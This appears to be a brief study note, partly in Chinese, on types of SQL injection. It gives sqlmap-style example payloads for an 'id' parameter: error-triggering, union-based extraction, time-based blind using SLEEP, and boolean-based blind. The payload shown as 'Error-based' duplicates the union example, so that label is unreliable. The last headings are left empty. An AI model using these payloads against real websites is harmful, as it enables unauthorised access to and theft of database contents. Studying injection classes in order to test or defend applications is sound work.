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分类只是便于新手学习，学到最后应该九九归一，无所谓什么类型

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In-band SQLi (Classic SQLi)

id=4' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178787671,(SELECT (ELT(2556=2556,1))),0x71627a6a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'JOtO'='JOtO

Error-based SQLi

id=-7810' UNION ALL SELECT NULL,CONCAT(0x7171627a71,0x415449484d526167596a77484c6e47775644794b4b7048756b6b47746472536a4c58694471634d65,0x7171787171),NULL--

Union-based SQLi

id=-7810' UNION ALL SELECT NULL,CONCAT(0x7171627a71,0x415449484d526167596a77484c6e47775644794b4b7048756b6b47746472536a4c58694471634d65,0x7171787171),NULL--

Time-based Blind SQLi

id=4' AND (SELECT 5114 FROM (SELECT(SLEEP(2))) AS RezN) AND 'vULj'='vULj

Boolean-based Blind SQLi

id=1' AND 5957=5957 AND 'DFUZ'='DFUZ

Stacked injections

OOB(Out Of Band)
二次注入

数据库分类